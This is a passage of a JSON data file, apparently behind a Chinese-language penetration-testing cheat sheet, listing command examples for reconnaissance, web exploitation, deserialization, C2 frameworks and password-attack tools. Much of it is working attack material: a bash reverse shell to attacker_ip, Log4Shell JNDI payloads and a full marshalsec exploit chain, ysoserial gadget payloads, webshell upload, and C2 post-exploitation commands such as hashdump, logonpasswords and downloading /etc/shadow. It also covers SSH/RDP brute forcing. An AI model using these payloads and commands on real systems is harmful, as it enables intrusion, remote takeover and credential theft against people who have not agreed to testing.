"识别Web技术栈", "type": "parameter" } ] }, { "command": "httpx -l urls.txt -screenshot -favicon -hash md5 -jarm", "description": "截图、提取favicon哈希和JARM指纹", "platform": "all", "syntaxBreakdown": [] }, { "command": "cat subs.txt | httpx -silent -mc 200,301,302 -content-length -web-server", "description": "过滤指定状态码并显示服务器信息", "platform": "all", "syntaxBreakdown": [] }, { "command": "httpx -l urls.txt -path \"/api/v1/health,/admin,/.env,/robots.txt\" -mc 200", "description": "批量探测指定路径", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "whatweb", "name": "WhatWeb", "description": "Web指纹识别工具,识别网站使用的技术栈", "category": "信息收集", "tags": [], "commands": [ { "command": "whatweb https://target.com", "description": "识别目标网站技术栈", "platform": "all", "syntaxBreakdown": [ { "part": "whatweb", "explanation": "Web技术指纹识别工具", "type": "command" } ] }, { "command": "whatweb -v https://target.com -a 3", "description": "详细输出,攻击等级3(更深度探测)", "platform": "all", "syntaxBreakdown": [] }, { "command": "whatweb --input-file=urls.txt --log-json=results.json", "description": "从文件读取URL批量扫描", "platform": "all", "syntaxBreakdown": [] }, { "command": "whatweb --info-plugins\nwhatweb -p WordPress,Joomla,Drupal https://target.com", "description": "列出或指定使用特定插件", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "wafw00f", "name": "WAFW00F", "description": "Web应用防火墙(WAF)检测和指纹识别工具", "category": "信息收集", "tags": [], "commands": [ { "command": "wafw00f https://target.com", "description": "检测目标是否部署WAF及WAF类型", "platform": "all", "syntaxBreakdown": [ { "part": "wafw00f", "explanation": "WAF指纹识别工具", "type": "command" } ] }, { "command": "wafw00f https://target.com -v -a", "description": "详细模式,测试所有WAF签名", "platform": "all", "syntaxBreakdown": [] }, { "command": "wafw00f -i urls.txt -o results.csv", "description": "批量检测多个URL", "platform": "all", "syntaxBreakdown": [] }, { "command": "wafw00f -l", "description": "列出所有可识别的WAF产品", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "dnsrecon", "name": "DNSRecon", "description": "DNS枚举和信息收集工具", "category": "信息收集", "tags": [], "commands": [ { "command": "dnsrecon -d target.com -t std", "description": "标准DNS记录枚举(SOA/NS/A/MX/TXT等)", "platform": "all", "syntaxBreakdown": [ { "part": "-d", "explanation": "目标域名", "type": "parameter" }, { "part": "-t std", "explanation": "标准记录枚举类型", "type": "parameter" } ] }, { "command": "dnsrecon -d target.com -t axfr", "description": "尝试DNS区域传送", "platform": "all", "syntaxBreakdown": [] }, { "command": "dnsrecon -d target.com -t brt -D /usr/share/wordlists/subdomains.txt", "description": "使用字典暴力枚举子域名", "platform": "all", "syntaxBreakdown": [] }, { "command": "dnsrecon -r 192.168.1.0/24 -t rvl", "description": "对IP段进行反向DNS查询", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "dnsenum", "name": "DNSEnum", "description": "DNS信息收集工具,支持区域传送和子域名枚举", "category": "信息收集", "tags": [], "commands": [ { "command": "dnsenum target.com", "description": "枚举DNS信息(NS/MX/A/区域传送等)", "platform": "all", "syntaxBreakdown": [] }, { "command": "dnsenum --enum -f /usr/share/dnsenum/dns.txt --threads 10 target.com", "description": "使用字典暴力枚举子域名", "platform": "all", "syntaxBreakdown": [] }, { "command": "dnsenum --dnsserver 8.8.8.8 target.com", "description": "指定DNS服务器进行枚举", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "theharvester", "name": "theHarvester", "description": "邮箱、子域名、IP等OSINT信息收集工具", "category": "信息收集", "tags": [], "commands": [ { "command": "theHarvester -d target.com -b all -l 500", "description": "使用所有数据源收集信息", "platform": "all", "syntaxBreakdown": [ { "part": "-d", "explanation": "目标域名", "type": "parameter" }, { "part": "-b all", "explanation": "使用所有可用数据源", "type": "parameter" }, { "part": "-l 500", "explanation": "最大结果数", "type": "parameter" } ] }, { "command": "theHarvester -d target.com -b google,bing,linkedin,shodan", "description": "使用指定数据源搜集", "platform": "all", "syntaxBreakdown": [] }, { "command": "theHarvester -d target.com -b all -f report.html", "description": "生成HTML格式报告", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "nikto", "name": "Nikto", "description": "Web服务器漏洞扫描器,检测危险文件、过时组件和配置问题", "category": "Web渗透", "tags": [], "commands": [ { "command": "nikto -h https://target.com", "description": "对目标进行全面Web漏洞扫描", "platform": "all", "syntaxBreakdown": [ { "part": "nikto", "explanation": "Web服务器漏洞扫描器", "type": "command" }, { "part": "-h", "explanation": "目标主机", "type": "parameter" } ] }, { "command": "nikto -h target.com -p 8443 -ssl", "description": "扫描HTTPS服务", "platform": "all", "syntaxBreakdown": [] }, { "command": "nikto -h target.com -useproxy http://127.0.0.1:8080", "description": "通过Burp代理进行扫描", "platform": "all", "syntaxBreakdown": [] }, { "command": "nikto -h target.com -Plugins \"apache_expect_xss;outdated\"", "description": "仅运行指定的测试插件", "platform": "all", "syntaxBreakdown": [] }, { "command": "nikto -h target.com -o report.html -Format htm", "description": "输出HTML格式报告", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "zap", "name": "OWASP ZAP", "description": "OWASP官方Web应用安全测试平台", "category": "Web渗透", "tags": [], "commands": [ { "command": "zap-cli quick-scan -s all -r https://target.com\n# 或使用API\ncurl \"http://localhost:8080/JSON/ascan/action/scan/?url=https://target.com\"", "description": "快速自动化漏洞扫描", "platform": "all", "syntaxBreakdown": [] }, { "command": "zap-api-scan.py -t https://target.com/api/swagger.json -f openapi", "description": "根据OpenAPI规范扫描API", "platform": "all", "syntaxBreakdown": [] }, { "command": "# 配置ZAP为代理(默认8080端口)\n# 浏览器配置代理后正常浏览\n# ZAP自动进行被动漏洞检测", "description": "代理模式被动扫描", "platform": "all", "syntaxBreakdown": [] }, { "command": "docker run -t ghcr.io/zaproxy/zaproxy zap-baseline.py -t https://target.com -r report.html", "description": "使用Docker容器化运行基线扫描", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "arjun", "name": "Arjun", "description": "HTTP参数发现工具,发现隐藏的GET/POST参数", "category": "Web渗透", "tags": [], "commands": [ { "command": "arjun -u https://target.com/page", "description": "发现隐藏的GET参数", "platform": "all", "syntaxBreakdown": [ { "part": "arjun", "explanation": "HTTP参数发现工具", "type": "command" }, { "part": "-u", "explanation": "目标URL", "type": "parameter" } ] }, { "command": "arjun -u https://target.com/api -m POST --include=\"Content-Type: application/json\"", "description": "发现POST请求的隐藏参数", "platform": "all", "syntaxBreakdown": [] }, { "command": "arjun -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt", "description": "使用自定义参数字典", "platform": "all", "syntaxBreakdown": [] }, { "command": "arjun -i urls.txt -o results.json --stable", "description": "批量扫描多个URL,稳定模式", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "wfuzz", "name": "WFuzz", "description": "Web应用模糊测试工具,用于暴力破解参数、目录、认证等", "category": "Web渗透", "tags": [], "commands": [ { "command": "wfuzz -c -z file,/usr/share/wordlists/dirb/big.txt --hc 404 https://target.com/FUZZ", "description": "目录暴力破解,隐藏404", "platform": "all", "syntaxBreakdown": [ { "part": "-c", "explanation": "彩色输出", "type": "parameter" }, { "part": "-z file,wordlist", "explanation": "指定字典文件作为payload", "type": "parameter" }, { "part": "--hc 404", "explanation": "隐藏404响应", "type": "parameter" }, { "part": "FUZZ", "explanation": "Payload注入点占位符", "type": "variable" } ] }, { "command": "wfuzz -c -z file,params.txt --hh 0 \"https://target.com/api?FUZZ=test\"", "description": "参数名Fuzz,隐藏空响应", "platform": "all", "syntaxBreakdown": [] }, { "command": "wfuzz -c -z file,users.txt -z file,passwords.txt --hc 403 -d \"user=FUZZ&pass=FUZ2Z\" https://target.com/login", "description": "双字典组合爆破登录", "platform": "all", "syntaxBreakdown": [] }, { "command": "wfuzz -c -z file,subs.txt --hc 404 -H \"Host: FUZZ.target.com\" https://target.com", "description": "Host头注入方式枚举子域名", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "commix", "name": "Commix", "description": "自动化命令注入漏洞检测和利用工具", "category": "Web渗透", "tags": [], "commands": [ { "command": "commix --url=\"https://target.com/page?cmd=test\"", "description": "自动检测命令注入点", "platform": "all", "syntaxBreakdown": [ { "part": "commix", "explanation": "命令注入自动化工具", "type": "command" }, { "part": "--url", "explanation": "目标URL(参数中含注入点)", "type": "parameter" } ] }, { "command": "commix --url=\"https://target.com/api\" --data=\"host=INJECT_HERE\" -p host", "description": "指定POST参数进行注入测试", "platform": "all", "syntaxBreakdown": [] }, { "command": "commix --url=\"https://target.com/page?ip=test\" --os-cmd=\"id\"\ncommix --url=\"https://target.com/page?ip=test\" --os-shell", "description": "执行系统命令或获取交互式Shell", "platform": "all", "syntaxBreakdown": [] }, { "command": "commix --url=\"https://target.com/page?cmd=test\" --tamper=base64encode --technique=t", "description": "使用编码绕过和时间盲注技术", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "dalfox", "name": "Dalfox", "description": "基于Go的高性能XSS漏洞扫描和参数分析工具", "category": "Web渗透", "tags": [], "commands": [ { "command": "dalfox url \"https://target.com/search?q=test\"", "description": "扫描单个URL的XSS漏洞", "platform": "all", "syntaxBreakdown": [ { "part": "dalfox", "explanation": "XSS漏洞扫描工具", "type": "command" }, { "part": "url", "explanation": "单URL扫描模式", "type": "parameter" } ] }, { "command": "cat urls.txt | dalfox pipe --silence --only-poc", "description": "批量扫描,仅输出POC", "platform": "all", "syntaxBreakdown": [] }, { "command": "dalfox url \"https://target.com/q=test\" --custom-payload payloads.txt --waf-evasion", "description": "使用自定义Payload并启用WAF绕过", "platform": "all", "syntaxBreakdown": [] }, { "command": "dalfox url \"https://target.com/q=test\" --blind https://your-xss-hunter.com", "description": "使用Blind XSS回调检测", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "xsstrike", "name": "XSStrike", "description": "高级XSS检测工具,支持反射/存储/DOM型XSS检测", "category": "Web渗透", "tags": [], "commands": [ { "command": "python3 xsstrike.py -u \"https://target.com/search?q=test\"", "description": "扫描反射型XSS", "platform": "all", "syntaxBreakdown": [] }, { "command": "python3 xsstrike.py -u \"https://target.com/comment\" --data \"content=test\" --method POST", "description": "测试POST参数的XSS", "platform": "all", "syntaxBreakdown": [] }, { "command": "python3 xsstrike.py -u \"https://target.com/q=test\" --fuzzer", "description": "使用模糊测试模式发现过滤规则", "platform": "all", "syntaxBreakdown": [] }, { "command": "python3 xsstrike.py -u \"https://target.com\" --crawl -l 3", "description": "爬取3层深度的所有页面并测试XSS", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "gopherus", "name": "Gopherus", "description": "生成Gopher协议Payload,用于SSRF攻击内部服务", "category": "Web渗透", "tags": [], "commands": [ { "command": "python2 gopherus.py --exploit mysql\n# 输入SQL查询语句后生成gopher://payload", "description": "生成攻击MySQL的Gopher Payload", "platform": "all", "syntaxBreakdown": [ { "part": "--exploit mysql", "explanation": "指定目标服务类型", "type": "parameter" } ] }, { "command": "python2 gopherus.py --exploit redis\n# 可生成写入webshell/计划任务/SSH密钥等payload", "description": "生成攻击Redis的Gopher Payload", "platform": "all", "syntaxBreakdown": [] }, { "command": "python2 gopherus.py --exploit fastcgi\n# 输入要执行的命令", "description": "生成攻击PHP-FPM/FastCGI的Payload", "platform": "all", "syntaxBreakdown": [] }, { "command": "python2 gopherus.py --exploit smtp", "description": "生成通过SMTP发送邮件的Payload", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "smuggler", "name": "Smuggler", "description": "HTTP请求走私漏洞检测工具", "category": "Web渗透", "tags": [], "commands": [ { "command": "python3 smuggler.py -u https://target.com", "description": "自动检测HTTP请求走私漏洞", "platform": "all", "syntaxBreakdown": [ { "part": "smuggler.py", "explanation": "HTTP走私检测脚本", "type": "command" } ] }, { "command": "python3 smuggler.py -u https://target.com -t CL.TE", "description": "测试CL.TE类型的请求走私", "platform": "all", "syntaxBreakdown": [] }, { "command": "cat urls.txt | python3 smuggler.py", "description": "从标准输入读取URL批量测试", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "jwt-tool", "name": "JWT Tool", "description": "JSON Web Token安全测试工具,支持伪造/破解/注入", "category": "Web渗透", "tags": [], "commands": [ { "command": "jwt_tool eyJhbGciOi...", "description": "解析并显示JWT的Header和Payload", "platform": "all", "syntaxBreakdown": [ { "part": "jwt_tool", "explanation": "JWT安全测试工具", "type": "command" } ] }, { "command": "jwt_tool -t https://target.com/api -rh \"Authorization: Bearer eyJ...\" -M at", "description": "自动尝试所有已知JWT攻击", "platform": "all", "syntaxBreakdown": [] }, { "command": "jwt_tool eyJhbGciOi... -X a", "description": "尝试将算法改为none绕过验证", "platform": "all", "syntaxBreakdown": [] }, { "command": "jwt_tool eyJhbGciOi... -C -d /usr/share/wordlists/rockyou.txt", "description": "暴力破解HMAC密钥", "platform": "all", "syntaxBreakdown": [] }, { "command": "jwt_tool eyJhbGciOi... -S hs256 -p \"secret_key\" -I -pc role -pv admin", "description": "使用已知密钥伪造Token,修改角色为admin", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "graphqlmap", "name": "GraphQLmap", "description": "GraphQL API渗透测试工具,支持自省查询和注入", "category": "Web渗透", "tags": [], "commands": [ { "command": "python3 graphqlmap.py -u https://target.com/graphql --method POST -x dump_schema", "description": "通过自省查询导出完整Schema", "platform": "all", "syntaxBreakdown": [] }, { "command": "python3 graphqlmap.py -u https://target.com/graphql --method POST -x enum", "description": "枚举所有可用的Query/Mutation字段", "platform": "all", "syntaxBreakdown": [] }, { "command": "python3 graphqlmap.py -u https://target.com/graphql --method POST -x nosqli", "description": "测试GraphQL参数的注入漏洞", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "cadaver", "name": "Cadaver", "description": "WebDAV客户端工具,用于测试WebDAV服务", "category": "Web渗透", "tags": [], "commands": [ { "command": "cadaver https://target.com/webdav/", "description": "连接到WebDAV服务器", "platform": "linux", "syntaxBreakdown": [] }, { "command": "# 在cadaver交互式Shell中:\nput shell.aspx\nmput *.txt", "description": "上传Webshell或文件到WebDAV目录", "platform": "linux", "syntaxBreakdown": [] }, { "command": "# cadaver Shell:\nls\nget config.xml\nmget *.bak", "description": "列出目录内容并下载文件", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "searchsploit", "name": "Searchsploit", "description": "Exploit-DB本地搜索工具,离线查找漏洞利用代码", "category": "漏洞利用", "tags": [], "commands": [ { "command": "searchsploit apache 2.4\nsearchsploit wordpress 5.0", "description": "按关键词搜索漏洞利用", "platform": "all", "syntaxBreakdown": [ { "part": "searchsploit", "explanation": "Exploit-DB本地搜索工具", "type": "command" } ] }, { "command": "searchsploit -e \"Apache Tomcat\"\nsearchsploit --exclude=\"dos\" windows smb", "description": "精确匹配和排除关键词", "platform": "all", "syntaxBreakdown": [] }, { "command": "searchsploit -m 44228\nsearchsploit -p 44228", "description": "复制exploit到当前目录或显示路径", "platform": "all", "syntaxBreakdown": [] }, { "command": "searchsploit -j apache | jq \".RESULTS_EXPLOIT[]\"", "description": "JSON格式输出便于脚本处理", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "exploitdb", "name": "ExploitDB", "description": "漏洞利用代码数据库在线搜索", "category": "漏洞利用", "tags": [], "commands": [ { "command": "# 访问 https://www.exploit-db.com\n# 搜索框输入: Apache Struts\n# 或使用Google Dork:\nsite:exploit-db.com \"Apache Struts\" RCE", "description": "在线搜索漏洞利用代码", "platform": "all", "syntaxBreakdown": [] }, { "command": "curl \"https://www.exploit-db.com/search?q=wordpress+5.0\" -H \"X-Requested-With: XMLHttpRequest\"", "description": "通过API搜索(需要合适的请求头)", "platform": "all", "syntaxBreakdown": [] }, { "command": "# ExploitDB收录的Google Dorks:\nhttps://www.exploit-db.com/google-hacking-database\n# 搜索泄露的配置文件、数据库等", "description": "使用ExploitDB的Google Hacking数据库", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "ysoserial", "name": "ysoserial", "description": "Java反序列化漏洞利用Payload生成工具", "category": "漏洞利用", "tags": [], "commands": [ { "command": "java -jar ysoserial.jar CommonsCollections1 \"id\" | base64\njava -jar ysoserial.jar CommonsCollections5 \"whoami\" > payload.bin", "description": "使用指定Gadget Chain生成反序列化Payload", "platform": "all", "syntaxBreakdown": [ { "part": "CommonsCollections1", "explanation": "Gadget Chain名称(依赖目标classpath)", "type": "parameter" }, { "part": "\"id\"", "explanation": "要执行的系统命令", "type": "value" } ] }, { "command": "java -jar ysoserial.jar --help\n# 常用: CommonsCollections1-7, Jdk7u21, URLDNS, JRMPClient", "description": "列出所有可用的Gadget Chain", "platform": "all", "syntaxBreakdown": [] }, { "command": "# 监听端(攻击机):\njava -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 \"bash -c {echo,base64_cmd}|{base64,-d}|{bash,-i}\"\n\n# 发送JRMP客户端Payload:\njava -jar ysoserial.jar JRMPClient attacker_ip:1099 > jrmp.bin", "description": "通过JRMP协议进行远程利用", "platform": "all", "syntaxBreakdown": [] }, { "command": "java -jar ysoserial.jar URLDNS \"http://your_dnslog.com/test\" | base64", "description": "使用URLDNS链探测反序列化漏洞(无需依赖)", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "ysoserial-net", "name": "ysoserial.net", "description": ".NET反序列化Payload生成工具", "category": "漏洞利用", "tags": [], "commands": [ { "command": "ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c \"calc\" -o base64", "description": "生成.NET反序列化Payload", "platform": "windows", "syntaxBreakdown": [ { "part": "-g", "explanation": "Gadget Chain名称", "type": "parameter" }, { "part": "-f", "explanation": "序列化格式(BinaryFormatter/ObjectStateFormatter等)", "type": "parameter" }, { "part": "-c", "explanation": "要执行的命令", "type": "parameter" }, { "part": "-o base64", "explanation": "Base64编码输出", "type": "parameter" } ] }, { "command": "ysoserial.exe -p ViewState -g TextFormattingRunProperties -c \"cmd /c whoami\" --validationalg=SHA1 --validationkey=MACHINE_KEY --generator=GENERATOR", "description": "伪造ASP.NET ViewState执行命令", "platform": "windows", "syntaxBreakdown": [] }, { "command": "ysoserial.exe -l\n# 常用: TextFormattingRunProperties, TypeConfuseDelegate, PSObject", "description": "列出所有可用的Gadget Chain和格式", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "marshalsec", "name": "Marshalsec", "description": "Java反序列化利用工具,支持多种Marshal格式和JNDI注入", "category": "漏洞利用", "tags": [], "commands": [ { "command": "java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer \"http://attacker_ip:8888/#Exploit\" 1389", "description": "启动恶意LDAP服务器用于JNDI注入(Log4Shell等)", "platform": "all", "syntaxBreakdown": [ { "part": "LDAPRefServer", "explanation": "启动LDAP Reference服务器", "type": "command" }, { "part": "\"http://attacker_ip:8888/#Exploit\"", "explanation": "恶意class文件托管URL", "type": "value" }, { "part": "1389", "explanation": "LDAP服务监听端口", "type": "value" } ] }, { "command": "java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \"http://attacker_ip:8888/#Exploit\" 1099", "description": "启动恶意RMI服务器", "platform": "all", "syntaxBreakdown": [] }, { "command": "# 1. 编译恶意class: javac Exploit.java\n# 2. 托管class: python3 -m http.server 8888\n# 3. 启动LDAP: java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer \"http://ip:8888/#Exploit\" 1389\n# 4. 触发: ${jndi:ldap://ip:1389/Exploit}", "description": "配合Log4j2 RCE完整利用链", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "jndi-exploit", "name": "JNDIExploit", "description": "JNDI注入利用工具,集成多种Gadget和Bypass", "category": "漏洞利用", "tags": [], "commands": [ { "command": "java -jar JNDIExploit.jar -i attacker_ip", "description": "启动JNDI Exploit服务(同时监听LDAP 1389和HTTP 3456)", "platform": "all", "syntaxBreakdown": [ { "part": "-i", "explanation": "攻击机IP地址", "type": "parameter" } ] }, { "command": "# 触发Payload:\n${jndi:ldap://attacker_ip:1389/Basic/Command/Base64/Y21k}\n${jndi:ldap://attacker_ip:1389/Basic/ReverseShell/attacker_ip/4444}", "description": "通过不同路由执行命令或反弹Shell", "platform": "all", "syntaxBreakdown": [] }, { "command": "# 使用Tomcat Bypass:\n${jndi:ldap://attacker_ip:1389/TomcatBypass/Command/Base64/d2hvYW1p}\n# 使用反序列化Bypass:\n${jndi:ldap://attacker_ip:1389/Deserialization/CommonsCollections5/Command/Base64/d2hvYW1p}", "description": "绕过高版本JDK的trustURLCodebase限制", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "rogue-jndi", "name": "Rogue JNDI", "description": "恶意JNDI服务器,提供多种攻击向量", "category": "漏洞利用", "tags": [], "commands": [ { "command": "java -jar RogueJndi.jar --command \"whoami\" --hostname attacker_ip", "description": "启动恶意JNDI服务(LDAP+RMI+HTTP)", "platform": "all", "syntaxBreakdown": [] }, { "command": "java -jar RogueJndi.jar --command \"bash -i >& /dev/tcp/attacker_ip/4444 0>&1\" --hostname attacker_ip", "description": "配置反弹Shell命令", "platform": "all", "syntaxBreakdown": [] }, { "command": "# LDAP: ${jndi:ldap://attacker_ip:1389/o=reference}\n# RMI: ${jndi:rmi://attacker_ip:1099/o=reference}", "description": "在目标注入JNDI Lookup触发利用", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "cobalt-strike", "name": "Cobalt Strike", "description": "商业化红队C2框架,支持多种攻击和后渗透功能", "category": "漏洞利用", "tags": [], "commands": [ { "command": "./teamserver your_ip your_password malleable_c2_profile.profile", "description": "启动CS服务端", "platform": "linux", "syntaxBreakdown": [] }, { "command": "# GUI操作:\n# Attacks > Packages > Windows Executable (S)\n# Attacks > Packages > HTML Application\n# Attacks > Web Drive-by > Scripted Web Delivery", "description": "通过图形界面生成各类Payload", "platform": "all", "syntaxBreakdown": [] }, { "command": "# 基础信息\nwhoami\nshell ipconfig\ngetuid\n\n# 横向移动\njump psexec target_ip SMB_listener\njump winrm target_ip HTTP_listener\n\n# 凭证获取\nhashdump\nlogonpasswords\n\n# 持久化\npersist-service\npersist-registry", "description": "获取Beacon后的常用后渗透命令", "platform": "windows", "syntaxBreakdown": [] }, { "command": "# 使用C2 Profile伪装流量:\n# https://github.com/rsmudge/Malleable-C2-Profiles\n./teamserver ip pass jquery-c2.4.0.profile", "description": "使用Malleable C2 Profile伪装通信流量", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "sliver", "name": "Sliver", "description": "开源跨平台红队C2框架,Cobalt Strike替代品", "category": "漏洞利用", "tags": [], "commands": [ { "command": "sliver-server", "description": "启动Sliver服务端", "platform": "linux", "syntaxBreakdown": [] }, { "command": "# 在Sliver控制台:\ngenerate --mtls attacker_ip --os windows --arch amd64 --save implant.exe\ngenerate --http attacker_ip --os linux --format shared --save implant.so", "description": "生成各平台的植入体", "platform": "all", "syntaxBreakdown": [] }, { "command": "mtls -l 8888\nhttps -l 443 -d example.com\nwg -l 51820", "description": "启动mTLS/HTTPS/WireGuard监听器", "platform": "all", "syntaxBreakdown": [] }, { "command": "# 获取Session后:\ninfo\ngetuid\nps\ndownload /etc/shadow\nupload local_file /tmp/remote\nexecute -o whoami\npivots tcp --bind 0.0.0.0:9050", "description": "常用后渗透操作命令", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "mythic", "name": "Mythic", "description": "模块化C2框架,支持多种Agent和自定义扩展", "category": "漏洞利用", "tags": [], "commands": [ { "command": "sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo\nsudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon", "description": "安装Apollo(Windows)或Poseidon(Linux) Agent", "platform": "linux", "syntaxBreakdown": [] }, { "command": "https://attacker_ip:7443\n# 默认账号: mythic_admin\n# 密码查看: cat .env | grep MYTHIC_ADMIN_PASSWORD", "description": "通过Web界面管理C2操作", "platform": "all", "syntaxBreakdown": [] }, { "command": "# 在Web界面:\n# 1. 创建Payload Profile\n# 2. 选择Agent类型(Apollo/Poseidon等)\n# 3. 配置C2 Profile\n# 4. 生成Payload下载", "description": "通过图形界面配置和生成Payload", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "medusa", "name": "Medusa", "description": "快速并行网络登录暴力破解工具", "category": "密码攻击", "tags": [], "commands": [ { "command": "medusa -h target_ip -u admin -P passwords.txt -M ssh -t 4", "description": "4线程SSH密码暴力破解", "platform": "all", "syntaxBreakdown": [ { "part": "medusa", "explanation": "并行网络登录破解工具", "type": "command" }, { "part": "-h", "explanation": "目标主机", "type": "parameter" }, { "part": "-u", "explanation": "用户名", "type": "parameter" }, { "part": "-P", "explanation": "密码字典文件", "type": "parameter" }, { "part": "-M ssh", "explanation": "指定协议模块", "type": "parameter" }, { "part": "-t 4", "explanation": "并发线程数", "type": "parameter" } ] }, { "command": "medusa -h target_ip -U users.txt -P passwords.txt -M rdp -t 2", "description": "RDP远程桌面密码破解", "platform": "all", "syntaxBreakdown": [] }, { "command": "medusa -h target_ip -U users.txt -P passwords.txt -M ftp -f", "description": "FTP破解(找到密码后停止)", "platform": "all", "syntaxBreakdown": [] }, { "command": "medusa -H hosts.txt -U users.txt -P pass.txt -M ssh -t 3 -T 5", "description": "批量主机爆破(5台并行)", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "ncrack", "name": "Ncrack", "description": "Nmap项目出品的高速网络认证破解工具", "category": "密码攻击", "tags": [], "commands": [ { "command": "ncrack -vv -U users.txt -P passwords.txt ssh://target_ip", "description": "SSH认证暴力破解", "platform": "all", "syntaxBreakdown": [ { "part": "ncrack", "explanation": "高速网络认证破解工具", "type": "command" }, { "part": "-vv", "explanation": "详细输出", "type": "parameter" }, { "part": "ssh://target_ip", "explanation": "协议://目标格式", "type": "value" } ] }, { "command": "ncrack -U users.txt -P pass.txt ssh://10.0.0.1 rdp://10.0.0.2 ftp://10.0.0.3", "description": "同时破解多个目标的不同服务", "platform": "all", "syntaxBreakdown": [] }, { "command": "ncrack -iX nmap_scan.xml -U users.txt -P pass.txt", "description": "直接导入Nmap扫描结果进行破解", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "crowbar", "name": "Crowbar", "description": "专注RDP/VNC/SSH密钥/OpenVPN的暴力破解工具", "category": "密码攻击", "tags": [], "commands": [ { "command": "crowbar -b rdp -s target_ip/32 -u admin -C passwords.txt -n 2", "description": "RDP密码暴力破解(2线程)", "platform": "all", "syntaxBreakdown": [ { "part": "-b rdp", "explanation": "指定协议类型", "type": "parameter" }, { "part": "-s", "explanation": "目标IP/CIDR", "type": "parameter" }, { "part": "-n 2", "explanation": "并发连接数", "type": "parameter" } ] }, { "command": "crowbar -b sshkey -s target_ip/32 -u root -k /path/to/keys/", "description": "尝试多个SSH私钥登录", "platform": "all", "syntaxBreakdown": [] }, { "command": "crowbar -b vnckey -s target_ip/32 -p password -k /path/to/keys/", "description": "VNC认证暴力破解", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "patator", "name": "Patator", "description": "多用途模块化暴力破解工具,支持数十种协议", "category": "密码攻击", "tags": [], "commands": [ { "command": "patator ssh_login host=target_ip user=FILE0 password=FILE1 0=users.txt 1=passwords.txt", "description": "SSH登录暴力破解", "platform": "all", "syntaxBreakdown": [ { "part": "ssh_login", "explanation": "使用SSH登录模块", "type": "command" }, { "part": "FILE0/FILE1", "explanation": "引用字典文件(0和1编号)", "type": "variable" } ] }, { "command": "patator http_fuzz url=\"https://target.com/login\" method=POST body=\"user=FILE0&pass=FILE1\" 0=users.txt 1=pass.txt -x ignore:fgrep=\"Login failed\"", "description": "HTTP登录表单暴力破解", "platform": "all", "syntaxBreakdown": [] }, { "command": "patator ftp_login host=target_ip user=admin password=FILE0 0=passwords.txt", "description": "FTP密码暴力破解", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "crackstation", "name": "CrackStation", "description": "在线哈希查询和离线超大字典", "category": "密码攻击", "tags": [], "commands": [ { "command": "# 访问 https://crackstation.net\n# 输入哈希值(支持MD5/SHA1/SHA256等)\n# 支持批量查询(每行一个哈希)", "description": "在线哈希值反查明文密码", "platform": "all", "syntaxBreakdown": [] }, { "command": "# CrackStation字典(15GB+):\n# https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm\n# 配合hashcat使用:\nhashcat -m 0 hashes.txt crackstation.txt", "description": "使用CrackStation超大字典离线破解", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "seclists", "name": "SecLists字典", "description": "安全测试人员必备的字典集合(目录、密码、用户名、Payload等)", "category": "密码攻击", "tags": [], "commands": [ { "command": "# 目录字典:\n/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt\n/usr/share/seclists/Discovery/Web-Content/common.txt\n\n# 密码字典:\n/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt\n\n# 用户名:\n/usr/share/seclists/Usernames/top-usernames-shortlist.txt", "description": "SecLists常用字典路径", "platform": "linux", "syntaxBreakdown": [] }, { "command": "# Fuzzing Payload:\n/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt\n/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt\n\n# 子域名:\n/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt\n\n# 参数名:\n/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt", "description": "特殊用途字典(LFI/SQLi/子域名/参数)", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "rockyou", "name": "RockYou字典", "description": "来自2009年RockYou数据泄露的经典密码字典(1400万+)", "category": "密码攻击", "tags": [], "commands": [ { "command": "gzip -d /usr/share/wordlists/rockyou.txt.gz\nwc -l /usr/share/wordlists/rockyou.txt # 约14344392行", "description": "解压Kali自带的rockyou字典", "platform": "linux", "syntaxBreakdown": [] }, { "command": "# Hashcat:\nhashcat -m 0 hash.txt 